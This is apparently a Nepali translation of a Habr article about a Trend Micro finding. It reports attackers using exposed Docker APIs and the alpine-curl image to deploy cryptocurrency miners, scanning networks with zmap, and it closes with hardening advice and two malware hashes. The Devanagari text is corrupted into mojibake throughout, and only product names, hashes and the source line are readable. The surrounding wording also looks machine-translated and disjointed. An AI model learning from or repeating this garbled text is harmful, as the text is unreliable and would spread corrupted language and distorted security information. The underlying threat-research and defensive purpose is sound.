рдкрдирд┐ рдлрд┐рд▓реНрдЯрд░ рдЧрд░реНрджрдЫ: Redis, Jenkins, Drupal, MODX, Kubernetes рдорд╛рд╕реНрдЯрд░, рдбрдХрд░ 1.16 рдЧреНрд░рд╛рд╣рдХ рд░ Apache CouchDBред рдпрджрд┐ рд╕реНрдХреНрдпрд╛рди рдЧрд░рд┐рдПрдХреЛ рд╕рд░реНрднрд░ рддрд┐рдиреАрд╣рд░реВ рдордзреНрдпреЗ рдХреБрдиреИрд╕рдБрдЧ рдореЗрд▓ рдЦрд╛рдиреНрдЫ рднрдиреЗ, рдпреЛ рдкрд╛рда рдлрд╛рдЗрд▓рдорд╛ рдмрдЪрдд рд╣реБрдиреНрдЫ, рдЬреБрди рдЖрдХреНрд░рдордгрдХрд╛рд░реАрд╣рд░реВрд▓реЗ рдкрдЫрд┐ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рд░ рд╣реНрдпрд╛рдХрд┐рдЩрдХреЛ рд▓рд╛рдЧрд┐ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХреНрдЫрдиреНред рдпреА рдкрд╛рда рдлрд╛рдЗрд▓рд╣рд░реВ рдЧрддрд┐рд╢реАрд▓ рд▓рд┐рдЩреНрдХрд╣рд░реВ рдорд╛рд░реНрдлрдд рдЖрдХреНрд░рдордгрдХрд░реНрддрд╛рд╣рд░реВрдХреЛ рд╕рд░реНрднрд░рдорд╛ рдЕрдкрд▓реЛрдб рд╣реБрдиреНрдЫрдиреНред рддреНрдпреЛ рд╣реЛ, рдкреНрд░рддреНрдпреЗрдХ рдлрд╛рдЗрд▓рдХреЛ рд▓рд╛рдЧрд┐ рдЫреБрдЯреНрдЯреИ URL рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреНрдЫ, рдЬрд╕рдХреЛ рдорддрд▓рдм рдкрдЫрд┐рдХреЛ рдкрд╣реБрдБрдЪ рдЧрд╛рд╣реНрд░реЛ рдЫред

рдЖрдХреНрд░рдордг рднреЗрдХреНрдЯрд░ рдПрдХ рдбрдХрд░ рдЫрд╡рд┐ рд╣реЛ, рдЬрд╕реНрддреЛ рдХрд┐ рдХреЛрдбрдХреЛ рдЕрд░реНрдХреЛ рджреБрдИ рдЯреБрдХреНрд░рд╛рд╣рд░реВрдорд╛ рджреЗрдЦреНрди рд╕рдХрд┐рдиреНрдЫред

рдХрд╕рд░реА рдЧреИрд░-рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдбрдХрд░ API рд░ рд╕рдореБрджрд╛рдпрдмрд╛рдЯ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЫрд╡рд┐рд╣рд░реВ рдХреНрд░рд┐рдкреНрдЯреЛрдХрд░реЗрдиреНрд╕реА рдЦрд╛рдиреАрд╣рд░реВ рд╡рд┐рддрд░рдг рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рднрдЗрд░рд╣реЗрдХрд╛ рдЫрдиреН
рд╢реАрд░реНрд╖рдорд╛ рд╡реИрдз рд╕реЗрд╡рд╛рдорд╛ рдкреБрди: рдирд╛рдордХрд░рдг рдЧрд░рд┐рдПрдХреЛ рдЫ, рд░ рддрд▓ zmap рдХрд╕рд░реА рдиреЗрдЯрд╡рд░реНрдХрд╣рд░реВ рд╕реНрдХреНрдпрд╛рди рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреНрдЫред

рдХрд╕рд░реА рдЧреИрд░-рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдбрдХрд░ API рд░ рд╕рдореБрджрд╛рдпрдмрд╛рдЯ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЫрд╡рд┐рд╣рд░реВ рдХреНрд░рд┐рдкреНрдЯреЛрдХрд░реЗрдиреНрд╕реА рдЦрд╛рдиреАрд╣рд░реВ рд╡рд┐рддрд░рдг рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рднрдЗрд░рд╣реЗрдХрд╛ рдЫрдиреН
рд╢реАрд░реНрд╖рдорд╛ рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рджрд╛рдпрд░рд╛рд╣рд░реВ рдЫрдиреН, рддрд▓ рдбрдХрд░ рд╕рд╣рд┐рдд рд╕реЗрд╡рд╛рд╣рд░реВ рдЦреЛрдЬреНрдирдХрд╛ рд▓рд╛рдЧрд┐ рд╡рд┐рд╢реЗрд╖ рдкреЛрд░реНрдЯрд╣рд░реВ рдЫрдиреНред

рдХрд╕рд░реА рдЧреИрд░-рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдбрдХрд░ API рд░ рд╕рдореБрджрд╛рдпрдмрд╛рдЯ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЫрд╡рд┐рд╣рд░реВ рдХреНрд░рд┐рдкреНрдЯреЛрдХрд░реЗрдиреНрд╕реА рдЦрд╛рдиреАрд╣рд░реВ рд╡рд┐рддрд░рдг рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рднрдЗрд░рд╣реЗрдХрд╛ рдЫрдиреН
рд╕реНрдХреНрд░рд┐рдирд╕рдЯрд▓реЗ рджреЗрдЦрд╛рдЙрдБрдЫ рдХрд┐ рдЕрд▓реНрдкрд╛рдЗрди рдХрд░реНрд▓ рдЫрд╡рд┐ 10 рдорд┐рд▓рд┐рдпрди рднрдиреНрджрд╛ рдмрдвреА рдкрдЯрдХ рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░рд┐рдПрдХреЛ рдЫ

рдЕрд▓реНрдкрд╛рдЗрди рд▓рд┐рдирдХреНрд╕ рд░ рдХрд░реНрд▓рдорд╛ рдЖрдзрд╛рд░рд┐рдд, рд╡рд┐рднрд┐рдиреНрди рдкреНрд░реЛрдЯреЛрдХрд▓рд╣рд░реВрдорд╛ рдлрд╛рдЗрд▓рд╣рд░реВ рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐ рд╕рдВрд╕рд╛рдзрди-рдХреБрд╢рд▓ CLI рдЙрдкрдХрд░рдг, рддрдкрд╛рдИрдВрд▓реЗ рдирд┐рд░реНрдорд╛рдг рдЧрд░реНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫред рдбрдХрд░ рдЫрд╡рд┐ред рддрдкрд╛рдИрдВрд▓реЗ рдЕрдШрд┐рд▓реНрд▓реЛ рдЫрд╡рд┐рдорд╛ рджреЗрдЦреНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫ, рдпреЛ рдЫрд╡рд┐ рдкрд╣рд┐рд▓реЗ рдиреИ 10 рдорд┐рд▓рд┐рдпрди рднрдиреНрджрд╛ рдмрдвреА рдкрдЯрдХ рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░рд┐рдПрдХреЛ рдЫред рдбрд╛рдЙрдирд▓реЛрдбрд╣рд░реВрдХреЛ рдареВрд▓реЛ рд╕рдВрдЦреНрдпрд╛рдХреЛ рдорддрд▓рдм рдпреЛ рдЫрд╡рд┐рд▓рд╛рдИ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдмрд┐рдиреНрджреБрдХреЛ рд░реВрдкрдорд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреБ рд╣реЛ; рдпреЛ рдЫрд╡рд┐ рдЫ рдорд╣рд┐рдирд╛ рднрдиреНрджрд╛ рдмрдвреА рдкрд╣рд┐рд▓реЗ рдЕрджреНрдпрд╛рд╡рдзрд┐рдХ рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛ; рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╣рд░реВрд▓реЗ рдкреНрд░рд╛рдп: рдпрд╕ рднрдгреНрдбрд╛рд░рдмрд╛рдЯ рдЕрдиреНрдп рдЫрд╡рд┐рд╣рд░реВ рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░реЗрдирдиреНред Docker рдорд╛ рдкреНрд░рд╡реЗрд╢ рдмрд┐рдиреНрджреБ - рдпрд╕рд▓рд╛рдИ рдЪрд▓рд╛рдЙрди рдХрдиреНрдЯреЗрдирд░ рдХрдиреНрдлрд┐рдЧрд░ рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдПрдХреЛ рдирд┐рд░реНрджреЗрд╢рдирд╣рд░реВрдХреЛ рд╕реЗрдЯред рдпрджрд┐ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдмрд┐рдиреНрджреБ рд╕реЗрдЯрд┐рдЩрд╣рд░реВ рдЧрд▓рдд рдЫрдиреН (рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рдХрдиреНрдЯреЗрдирд░ рдЗрдиреНрдЯрд░рдиреЗрдЯрдмрд╛рдЯ рдЦреБрд▓рд╛ рдЫреЛрдбрд┐рдПрдХреЛ рдЫ), рдЫрд╡рд┐рд▓рд╛рдИ рдЖрдХреНрд░рдордг рднреЗрдХреНрдЯрд░рдХреЛ рд░реВрдкрдорд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫред рдЖрдХреНрд░рдордгрдХрд╛рд░реАрд╣рд░реВрд▓реЗ рдпрд╕рд▓рд╛рдИ рдкреЗрд▓реЛрдб рдбреЗрд▓рд┐рднрд░ рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХреНрдЫрдиреН рдпрджрд┐ рдЙрдиреАрд╣рд░реВрд▓реЗ рдЧрд▓рдд рдХрдиреНрдлрд┐рдЧрд░ рдЧрд░рд┐рдПрдХреЛ рд╡рд╛ рдЦреБрд▓рд╛ рдХрдиреНрдЯреЗрдирд░рд▓рд╛рдИ рдЕрд╕рдорд░реНрдерд┐рдд рдЫреЛрдбреЗрдХреЛ рдкрд╛рдЗрдиреНрдЫ рднрдиреЗред

рдпреЛ рдиреЛрдЯ рдЧрд░реНрди рдорд╣рддреНрддреНрд╡рдкреВрд░реНрдг рдЫ рдХрд┐ рдпреЛ рдЫрд╡рд┐ (рдЕрд▓реНрдкрд╛рдЗрди-рдХрд░реНрд▓) рдЖрдлреИрдорд╛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЫреИрди, рддрд░ рддрдкрд╛рдИрд▓реЗ рдорд╛рдерд┐ рджреЗрдЦреНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫ, рдпреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХрд╛рд░реНрдпрд╣рд░реВ рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫред рд╕рдорд╛рди рдбрдХрд░ рдЫрд╡рд┐рд╣рд░реВ рдкрдирд┐ рдЦрд░рд╛рдм рдЧрддрд┐рд╡рд┐рдзрд┐рд╣рд░реВ рдкреНрд░рджрд░реНрд╢рди рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫред рд╣рд╛рдореАрд▓реЗ рдбрдХрд░рд▓рд╛рдИ рд╕рдореНрдкрд░реНрдХ рдЧрд░реНрдпреМрдВ рд░ рдпрд╕ рдореБрджреНрджрд╛рдорд╛ рдЙрдиреАрд╣рд░реВрд╕рдБрдЧ рдХрд╛рдо рдЧрд░реНрдпреМрдВред

рд╕рд┐рдлрд╛рд░рд┐рд╕рд╣рд░реВ

рдЧрд▓рдд рд╕реЗрдЯрд┐рдЩ рдмрд╛рдБрдХреА рдирд┐рд░рдиреНрддрд░ рд╕рдорд╕реНрдпрд╛ рдзреЗрд░реИ рдХрдореНрдкрдиреАрд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐, рд╡рд┐рд╢реЗрд╖ рдЧрд░реА рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрдиреЗрд╣рд░реВ DevOpsрджреНрд░реБрдд рд╡рд┐рдХрд╛рд╕ рд░ рд╡рд┐рддрд░рдгрдорд╛ рдХреЗрдиреНрджреНрд░рд┐рддред рд▓реЗрдЦрд╛рдкрд░реАрдХреНрд╖рдг рд░ рдЕрдиреБрдЧрдорди рдирд┐рдпрдорд╣рд░реВрдХреЛ рдкрд╛рд▓рдирд╛ рдЧрд░реНрдиреБрдкрд░реНрдиреЗ рдЖрд╡рд╢реНрдпрдХрддрд╛, рдбрд╛рдЯрд╛ рдЧреЛрдкреНрдпрддрд╛ рдЕрдиреБрдЧрдорди рдЧрд░реНрдиреЗ рдЖрд╡рд╢реНрдпрдХрддрд╛, рд╕рд╛рдереИ рддрд┐рдиреАрд╣рд░реВрдХреЛ рдЧреИрд░-рдЕрдиреБрдкрд╛рд▓рдирдмрд╛рдЯ рд╣реБрдиреЗ рдареВрд▓реЛ рдХреНрд╖рддрд┐рд▓реЗ рд╕рдмреИ рдХреБрд░рд╛ рдмрдвреЗрдХреЛ рдЫред рд╡рд┐рдХрд╛рд╕ рдЬреАрд╡рдирдЪрдХреНрд░рдорд╛ рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрд╡рдЪрд╛рд▓рди рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реНрдирд╛рд▓реЗ рддрдкрд╛рдИрдВрд▓рд╛рдИ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд╡рд╛рд▓рд╣рд░реВ рдлреЗрд▓рд╛ рдкрд╛рд░реНрди рдорджреНрджрдд рдЧрд░реНрджрдЫ рдЬреБрди рдЕрдиреНрдпрдерд╛ рдкрддреНрддрд╛ рдирд▓рд╛рдЧреНрдиреЗ рд╣реБрди рд╕рдХреНрдЫ, рддрд░ рдпрд╕рд▓реЗ рддрдкрд╛рдИрдВрд▓рд╛рдИ рдЕрдирд╛рд╡рд╢реНрдпрдХ рдХрд╛рд░реНрдпрднрд╛рд░ рдХрдо рдЧрд░реНрди рдорджреНрджрдд рдЧрд░реНрджрдЫ, рдЬрд╕реНрддреИ рдкреНрд░рддреНрдпреЗрдХ рдкрддреНрддрд╛ рд▓рдЧрд╛рдЗрдПрдХреЛ рднреЗрджреНрдпрддрд╛ рд╡рд╛ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рд╕рдХреЗрдкрдЫрд┐ рдЧрд▓рдд рдХрдиреНрдлрд┐рдЧрд░реЗрд╕рдирдХреЛ рд▓рд╛рдЧрд┐ рдЕрддрд┐рд░рд┐рдХреНрдд рд╕рдлреНрдЯрд╡реЗрдпрд░ рдирд┐рд░реНрдорд╛рдгрд╣рд░реВ рдЪрд▓рд╛рдЙрдиред

рдпрд╕ рд▓реЗрдЦрдорд╛ рдЫрд▓рдлрд▓ рдЧрд░рд┐рдПрдХреЛ рдШрдЯрдирд╛рд▓реЗ рдирд┐рдореНрди рд╕рд┐рдлрд╛рд░рд┐рд╕рд╣рд░реВ рд╕рд╣рд┐рдд рд╕реБрд░реБрджреЗрдЦрд┐ рдиреИ рд╕реБрд░рдХреНрд╖рд╛рд▓рд╛рдИ рдзреНрдпрд╛рдирдорд╛ рд░рд╛рдЦреНрдиреБрдкрд░реНрдиреЗ рдЖрд╡рд╢реНрдпрдХрддрд╛рд▓рд╛рдИ рд╣рд╛рдЗрд▓рд╛рдЗрдЯ рдЧрд░реНрджрдЫ:

  • рдкреНрд░рдгрд╛рд▓реА рдкреНрд░рд╢рд╛рд╕рдХрд╣рд░реВ рд░ рд╡рд┐рдХрд╛рд╕рдХрд░реНрддрд╛рд╣рд░реВрдХрд╛ рд▓рд╛рдЧрд┐: рд╕рдБрдзреИ рддрдкрд╛рдЗрдБрдХреЛ API рд╕реЗрдЯрд┐рдЩрд╣рд░реВ рдЬрд╛рдБрдЪ рдЧрд░реНрдиреБрд╣реЛрд╕реН рдХрд┐ рдирд┐рд╢реНрдЪрд┐рдд рд╕рд░реНрднрд░ рд╡рд╛ рдЖрдиреНрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХрдмрд╛рдЯ рдорд╛рддреНрд░ рдЕрдиреБрд░реЛрдзрд╣рд░реВ рд╕реНрд╡реАрдХрд╛рд░ рдЧрд░реНрди рд╕рдмреИ рдХреБрд░рд╛ рдХрдиреНрдлрд┐рдЧрд░ рдЧрд░рд┐рдПрдХреЛ рдЫред
  • рдиреНрдпреВрдирддрдо рдЕрдзрд┐рдХрд╛рд░рдХреЛ рд╕рд┐рджреНрдзрд╛рдиреНрдд рдкрд╛рд▓рдирд╛ рдЧрд░реНрдиреБрд╣реЛрд╕реН: рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдЧрд░реНрдиреБрд╣реЛрд╕реН рдХрд┐ рдХрдиреНрдЯреЗрдирд░ рдЫрд╡рд┐рд╣рд░реВ рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рд░ рдкреНрд░рдорд╛рдгрд┐рдд рдЫрдиреН, рдорд╣рддреНрд╡рдкреВрд░реНрдг рдШрдЯрдХрд╣рд░реВрдорд╛ рдкрд╣реБрдБрдЪ рд╕реАрдорд┐рдд рдЧрд░реНрдиреБрд╣реЛрд╕реН (рдХрдиреНрдЯреЗрдирд░ рдкреНрд░рдХреНрд╖реЗрдкрдг рд╕реЗрд╡рд╛) рд░ рдиреЗрдЯрд╡рд░реНрдХ рдЬрдбрд╛рдирд╣рд░реВрдорд╛ рдЗрдиреНрдХреНрд░рд┐рдкреНрд╕рди рдердкреНрдиреБрд╣реЛрд╕реНред
  • рдкрдЫреНрдпрд╛рдЙрди рд╕рд┐рдлрд╛рд░рд┐рд╕рд╣рд░реВ рд░ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдВрдпрдиреНрддреНрд░ рд╕рдХреНрд╖рдо рдкрд╛рд░реНрдиреБрд╣реЛрд╕реН, рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐ рдбрдХрд░рдмрд╛рдЯ рд░ рдмрд┐рд▓реНрдЯ-рдЗрди рд╕реБрд░рдХреНрд╖рд╛ рд╕реБрд╡рд┐рдзрд╛рд╣рд░реВ.
  • рдХрдиреНрдЯреЗрдирд░рдорд╛ рдЪрд▓рд┐рд░рд╣реЗрдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рд╣рд░реВрдХреЛ рдмрд╛рд░реЗрдорд╛ рдердк рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рд░рдирдЯрд╛рдЗрдо рд░ рдЫрд╡рд┐рд╣рд░реВрдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╕реНрдХреНрдпрд╛рдирд┐рдЩ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреБрд╣реЛрд╕реН (рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рд╕реНрдкреВрдлрд┐рдЩ рдкрддреНрддрд╛ рд▓рдЧрд╛рдЙрди рд╡рд╛ рдХрдордЬреЛрд░реАрд╣рд░реВрдХреЛ рдЦреЛрдЬреА рдЧрд░реНрди)ред рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдирд┐рдпрдиреНрддреНрд░рдг рд░ рдЕрдЦрдгреНрдбрддрд╛ рдирд┐рдЧрд░рд╛рдиреАрд▓реЗ рд╕рд░реНрднрд░, рдлрд╛рдЗрд▓рд╣рд░реВ, рд░ рдкреНрд░рдгрд╛рд▓реА рдХреНрд╖реЗрддреНрд░рд╣рд░реВрдорд╛ рдЕрд╕рд╛рдорд╛рдиреНрдп рдкрд░рд┐рд╡рд░реНрддрдирд╣рд░реВ рдЯреНрд░реНрдпрд╛рдХ рдЧрд░реНрди рдорджреНрджрдд рдЧрд░реНрджрдЫред

Trendmicro рд▓реЗ DevOps рдЯреЛрд▓реАрд╣рд░реВрд▓рд╛рдИ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдкрдорд╛ рдирд┐рд░реНрдорд╛рдг рдЧрд░реНрди, рдЫрд┐рдЯреНрдЯреИ рд░реЛрд▓ рдЖрдЙрдЯ рдЧрд░реНрди рд░ рдЬрд╣рд╛рдБрд╕реБрдХреИ рд╕реБрд░реБ рдЧрд░реНрди рдорджреНрджрдд рдЧрд░реНрдЫред рдЯреНрд░реЗрдиреНрдб рдорд╛рдЗрдХреНрд░реЛ рд╣рд╛рдЗрдмреНрд░рд┐рдб рдХреНрд▓рд╛рдЙрдб рд╕реБрд░рдХреНрд╖рд╛ рд╕рдВрдЧрдардирдХреЛ DevOps рдкрд╛рдЗрдкрд▓рд╛рдЗрдирдорд╛ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА, рд╕реБрд╡реНрдпрд╡рд╕реНрдерд┐рдд, рд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рджрд╛рди рдЧрд░реНрджрдЫ рд░ рдмрд╣реБрд╡рд┐рдз рдЦрддрд░рд╛ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рджрд╛рди рдЧрд░реНрджрдЫред XGen рд░рдирдЯрд╛рдЗрдордорд╛ рднреМрддрд┐рдХ, рднрд░реНрдЪреБрдЕрд▓ рд░ рдХреНрд▓рд╛рдЙрдб рд╡рд░реНрдХрд▓реЛрдбрд╣рд░реВ рд╕реБрд░рдХреНрд╖рд┐рдд рдЧрд░реНрдиред рдпрд╕рд▓реЗ рдХрдиреНрдЯреЗрдирд░ рд╕реБрд░рдХреНрд╖рд╛ рдкрдирд┐ рдердкреНрдЫ рдЧрд╣рд┐рд░реЛ рд╕реБрд░рдХреНрд╖рд╛ ╨╕ рдЧрд╣рд┐рд░реЛ рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрдорд╛рд░реНрдЯ рдЬрд╛рдБрдЪ, рдЬрд╕рд▓реЗ рдбрдХрд░ рдХрдиреНрдЯреЗрдирд░ рдЫрд╡рд┐рд╣рд░реВ рд╡рд┐рдХрд╛рд╕ рдкрд╛рдЗрдкрд▓рд╛рдЗрдирдХреЛ рдХреБрдиреИ рдкрдирд┐ рдмрд┐рдиреНрджреБрдорд╛ рдорд╛рд▓рд╡реЗрдпрд░ рд░ рдХрдордЬреЛрд░реАрд╣рд░реВрдХрд╛ рд▓рд╛рдЧрд┐ рд╕реНрдХреНрдпрд╛рди рдЧрд░реНрджрдЫ рддрд┐рдиреАрд╣рд░реВрд▓рд╛рдИ рддреИрдирд╛рдд рдЧрд░реНрдиреБ рдЕрдШрд┐ рдЦрддрд░рд╛рд╣рд░реВ рд░реЛрдХреНрдиред

рд╕рдореНрдЭреМрддрд╛рдХреЛ рд╕рдВрдХреЗрдд

рд╕рдореНрдмрдиреНрдзрд┐рдд рд╣реНрдпрд╛рд╕рд╣рд░реВ:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

рдорд╛ рдбрдХрд░ рднрд┐рдбрд┐рдпреЛ рдХреЛрд░реНрд╕ рдЕрднреНрдпрд╛рд╕ рдЧрд░реНрдиреЗ рд╡рдХреНрддрд╛рд╣рд░реВрд▓реЗ рд╕рдореНрднрд╛рд╡рдирд╛ рдХрдо рдЧрд░реНрди рд╡рд╛ рдорд╛рдерд┐ рд╡рд░реНрдгрди рдЧрд░рд┐рдПрдХреЛ рдЕрд╡рд╕реНрдерд╛рдХреЛ рдШрдЯрдирд╛рд▓рд╛рдИ рдкреВрд░реНрдгрддрдпрд╛ рдмреЗрд╡рд╛рд╕реНрддрд╛ рдЧрд░реНрди рдкрд╣рд┐рд▓реЗ рдХреБрди рд╕реЗрдЯрд┐рдЩрд╣рд░реВ рдмрдирд╛рдЙрди рдЖрд╡рд╢реНрдпрдХ рдЫ рднрдиреЗрд░ рджреЗрдЦрд╛рдЙрдБрдЫрдиреНред рд░ рдЕрдЧрд╕реНрдд 19-21 рдорд╛ рдПрдХ рдЕрдирд▓рд╛рдЗрди рдЧрд╣рди рдорд╛ DevOps рдЙрдкрдХрд░рдг рд░ рдзреЛрдЦрд╛рд╣рд░реВ рддрдкрд╛рдИрдВрд▓реЗ рдпреА рд░ рдпрд╕реНрддреИ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛рд╣рд░реВ рд╕рд╣рдХрд░реНрдореАрд╣рд░реВ рд░ рдЕрднреНрдпрд╛рд╕ рдЧрд░реНрдиреЗ рд╢рд┐рдХреНрд╖рдХрд╣рд░реВрд╕рдБрдЧ рдЧреЛрд▓ рдЯреЗрдмрд▓рдорд╛ рдЫрд▓рдлрд▓ рдЧрд░реНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫ, рдЬрд╣рд╛рдБ рд╕рдмреИрд▓реЗ рдмреЛрд▓реНрди рд░ рдЕрдиреБрднрд╡реА рд╕рд╣рдХрд░реНрдореАрд╣рд░реВрдХреЛ рдкреАрдбрд╛ рд░ рд╕рдлрд▓рддрд╛рд╣рд░реВ рд╕реБрдиреНрди рд╕рдХреНрдЫрдиреНред

рд╕реНрд░реЛрдд: www.habr.com

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдердкреНрди